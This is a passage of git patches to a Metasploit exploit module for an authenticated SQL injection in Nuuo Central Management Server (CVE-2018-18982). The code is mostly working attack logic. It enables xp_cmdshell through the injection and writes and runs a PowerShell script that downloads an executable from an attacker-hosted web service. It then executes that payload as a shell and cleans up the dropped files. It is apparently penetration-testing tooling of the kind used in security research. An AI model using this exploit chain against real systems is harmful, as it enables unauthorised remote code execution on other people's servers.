resource_uri = "/#{rand_text_alpha(8..16)}" #do not use SSL @@ -112,29 +109,16 @@ class MetasploitModule < Msf::Exploit::Remote # we need to roll our own here instead of using the MSSQL mixins # (tried that and it doesn't work) print_status("Enabling xp_cmdshell and asking CMS to download and execute #{service_url}") - filename = "#{rand_text_alpha_lower(8..10)}.exe" + @filename = "#{rand_text_alpha_lower(8..10)}.exe" download_pl = %{xp_cmdshell } download_pl << %{'cd C:\\windows\\temp\\ && } download_pl << %{echo $webclient = New-Object System.Net.WebClient >> wget.ps1 && } download_pl << %{echo $url = "#{service_url}" >> wget.ps1 && } - download_pl << %{echo $file = "#{filename}" >> wget.ps1 && } + download_pl << %{echo $file = "#{@filename}" >> wget.ps1 && } download_pl << %{echo $webclient.DownloadFile($url,$file) >> wget.ps1 && } download_pl << %{powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File wget.ps1'} print_status('Injecting PowerShell payload') inject_sql("exec sp_configure 'show advanced options', 1; reconfigure; exec sp_configure 'xp_cmdshell', 1; reconfigure; " + create_hex_cmd(download_pl)) - - counter = 0 - while (not @exe_sent || counter >= datastore['SLEEP']) - Rex.sleep(1) - counter += 1 - end - - unless @exe_sent - fail_with(Failure::Unknown, 'Could not get CMS to download the payload') - end - - print_status('Executing shell...') - inject_sql(create_hex_cmd("xp_cmdshell \"cmd /c C:\\windows\\temp\\#{filename}\""), true) end end From 696640a340f8c39edbaa3ef5d2566784daf83cbf Mon Sep 17 00:00:00 2001 From: Jacob Robles Date: Thu, 21 Feb 2019 06:45:23 -0600 Subject: [PATCH 12/13] Timeout and cleanup files --- .../exploits/windows/nuuo/nuuo_cms_sqli.rb | 61 +++++++++++-------- 1 file changed, 34 insertions(+), 27 deletions(-) diff --git a/modules/exploits/windows/nuuo/nuuo_cms_sqli.rb b/modules/exploits/windows/nuuo/nuuo_cms_sqli.rb index 22229fc2b1..2496169068 100644 --- a/modules/exploits/windows/nuuo/nuuo_cms_sqli.rb +++ b/modules/exploits/windows/nuuo/nuuo_cms_sqli.rb @@ -7,6 +7,7 @@ class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::EXE + include Msf::Exploit::FileDropper include Msf::Exploit::Remote::Nuuo include Msf::Exploit::Remote::HttpServer @@ -44,7 +45,11 @@ class MetasploitModule < Msf::Exploit::Remote 'Privileged' => false, # we run as NETWORK_SERVICE 'DisclosureDate' => 'Oct 11 2018', 'DefaultTarget' => 0)) - register_options [Opt::RPORT(5180)] + register_options [ + Opt::RPORT(5180), + OptInt.new('HTTPDELAY', [false, 'Number of seconds the web server will wait before termination', 10]), + OptString.new('URIPATH', [true, 'The URI to use for this exploit', "/#{rand_text_alpha(8..10)}"]) + ] end @@ -66,8 +71,11 @@ class MetasploitModule < Msf::Exploit::Remote print_good('Sending the payload to CMS...') send_response(cli, @pl) + Rex.sleep(3) + print_status('Executing shell...') inject_sql(create_hex_cmd("xp_cmdshell \"cmd /c C:\\windows\\temp\\#{@filename}\""), true) + register_file_for_cleanup("c:/windows/temp/#{@filename}") end def create_hex_cmd(cmd) @@ -79,6 +87,26 @@ class MetasploitModule < Msf::Exploit::Remote hex_cmd << "; exec (@#{var})" end + def primer + # we need to roll our own here instead of using the MSSQL mixins + # (tried that and it doesn't work) + service_url = "http://#{srvhost_addr}:#{srvport}#{datastore['URIPATH']}" + print_status("Enabling xp_cmdshell and asking CMS to download and execute #{service_url}") + @filename = "#{rand_text_alpha_lower(8..10)}.exe" + ps1 = "#{rand_text_alpha_lower(8..10)}.ps1" + download_pl = %{xp_cmdshell } + download_pl << %{'cd C:\\windows\\temp\\ && } + download_pl << %{echo $webclient = New-Object System.Net.WebClient >> #{ps1} && } + download_pl << %{echo $url = "#{service_url}" >> #{ps1} && } + download_pl << %{echo $file = "#{@filename}" >> #{ps1} && } + download_pl << %{echo $webclient.DownloadFile($url,$file) >> #{ps1} && } + download_pl << %{powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File #{ps1}'} + + print_status('Injecting PowerShell payload') + inject_sql("exec sp_configure 'show advanced options', 1; reconfigure; exec sp_configure 'xp_cmdshell', 1; reconfigure; " + create_hex_cmd(download_pl)) + register_file_for_cleanup("c:/windows/temp/#{ps1}") + end + def exploit nucs_login @@ -87,7 +115,6 @@ class MetasploitModule < Msf::Exploit::Remote end @pl = generate_payload_exe - resource_uri = "/#{rand_text_alpha(8..16)}" #do not use SSL if datastore['SSL'] @@ -95,30 +122,10 @@ class MetasploitModule < Msf::Exploit::Remote datastore['SSL'] = false end - service_url = "http://#{srvhost_addr}:#{srvport}#{resource_uri}" - print_status("Starting up our web service on #{service_url} ...") - start_service({'Uri' => { - 'Proc' => Proc.new { |cli, req| - on_request_uri(cli, req) - }, - 'Path' => resource_uri - }}) - - datastore['SSL'] = true if ssl_restore - - # we need to roll our own here instead of using the MSSQL mixins - # (tried that and it doesn't work) - print_status("Enabling xp_cmdshell and asking CMS to download and execute #{service_url}") - @filename = "#{rand_text_alpha_lower(8..10)}.exe" - download_pl = %{xp_cmdshell } - download_pl << %{'cd C:\\windows\\temp\\ && } - download_pl << %{echo $webclient = New-Object System.Net.WebClient >> wget.ps1 && } - download_pl << %{echo $url = "#{service_url}" >> wget.ps1 && } - download_pl << %{echo $file = "#{@filename}" >> wget.ps1 && } - download_pl << %{echo $webclient.DownloadFile($url,$file) >> wget.ps1 && } - download_pl << %{powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File wget.ps1'} - - print_status('Injecting PowerShell payload') - inject_sql("exec sp_configure 'show advanced options', 1; reconfigure; exec sp_configure 'xp_cmdshell', 1; reconfigure; " + create_hex_cmd(download_pl)) + begin + Timeout.timeout(datastore['HTTPDELAY']) {super} + rescue Timeout::Error + datastore['SSL'] = true if ssl_restore + end end end From 1cd7dc8bc90837fad6d6d387eef4112434d82efc Mon Sep 17 00:00:00 2001 From: Jacob Robles Date: Thu, 21 Feb 2019 09:43:44 -0600 Subject: [PATCH 13/13] Update rank, add note --- .../exploits/windows/nuuo/nuuo_cms_sqli.rb | 32 +++++++++++-------- 1 file changed, 18 insertions(+), 14 deletions(-) diff --git a/modules/exploits/windows/nuuo/nuuo_cms_sqli.rb b/modules/exploits/windows/nuuo/nuuo_cms_sqli.rb index 2496169068..92bc3862bd 100644 --- a/modules/exploits/windows/nuuo/nuuo_cms_sqli.rb +++ b/modules/exploits/windows/nuuo/nuuo_cms_sqli.rb @@ -4,7 +4,7 @@ ## class MetasploitModule < Msf::Exploit::Remote - Rank = ExcellentRanking + Rank = NormalRanking include Msf::Exploit::EXE include Msf::Exploit::FileDropper @@ -13,8 +13,8 @@ class MetasploitModule < Msf::Exploit::Remote def initialize(info={}) super(update_info(info, - 'Name' => 'Nuuo Central Management Authenticated SQL Server SQLi', - 'Description' => %q{ + 'Name' => 'Nuuo Central Management Authenticated SQL Server SQLi', + 'Description' => %q{ The Nuuo Central Management Server allows an authenticated user to query the state of the alarms. This functionality can be abused to inject SQL into the query. As SQL Server 2005 Express is installed by default, xp_cmdshell can be enabled and abused to achieve code execution. @@ -22,12 +22,12 @@ class MetasploitModule < Msf::Exploit::Remote module) or attempt to login using a provided username and password - it will also try the default credentials if nothing is provided. }, - 'License' => MSF_LICENSE, - 'Author' => + 'License' => MSF_LICENSE, + 'Author' => [ - 'Pedro Ribeiro ' # Vulnerability discovery and Metasploit module + 'Pedro Ribeiro ' # Vulnerability discovery and Metasploit module ], - 'References' => + 'References' => [ [ 'CVE', '2018-18982' ], [ 'URL', 'https://ics-cert.us-cert.gov/advisories/ICSA-18-284-02' ], @@ -35,16 +35,20 @@ class MetasploitModule < Msf::Exploit::Remote [ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/nuuo-cms-ownage.txt' ] ], - 'Platform' => 'win', - 'Arch' => ARCH_X86, - 'Stance' => Msf::Exploit::Stance::Aggressive, # we need this to run in the foreground - 'Targets' => + 'Platform' => 'win', + 'Arch' => ARCH_X86, + 'Stance' => Msf::Exploit::Stance::Aggressive, # we need this to run in the foreground + 'Targets' => [ [ 'Nuuo Central Management Server <= v2.10.0', {} ], ], - 'Privileged' => false, # we run as NETWORK_SERVICE - 'DisclosureDate' => 'Oct 11 2018', - 'DefaultTarget' => 0)) + 'Notes' => + { + 'SideEffects' => [ ARTIFACTS_ON_DISK ] + }, + 'Privileged' => false, # we run as NETWORK_SERVICE + 'DisclosureDate' => 'Oct 11 2018', + 'DefaultTarget' => 0)) register_options [ Opt::RPORT(5180), OptInt.new('HTTPDELAY', [false, 'Number of seconds the web server will wait before termination', 10]),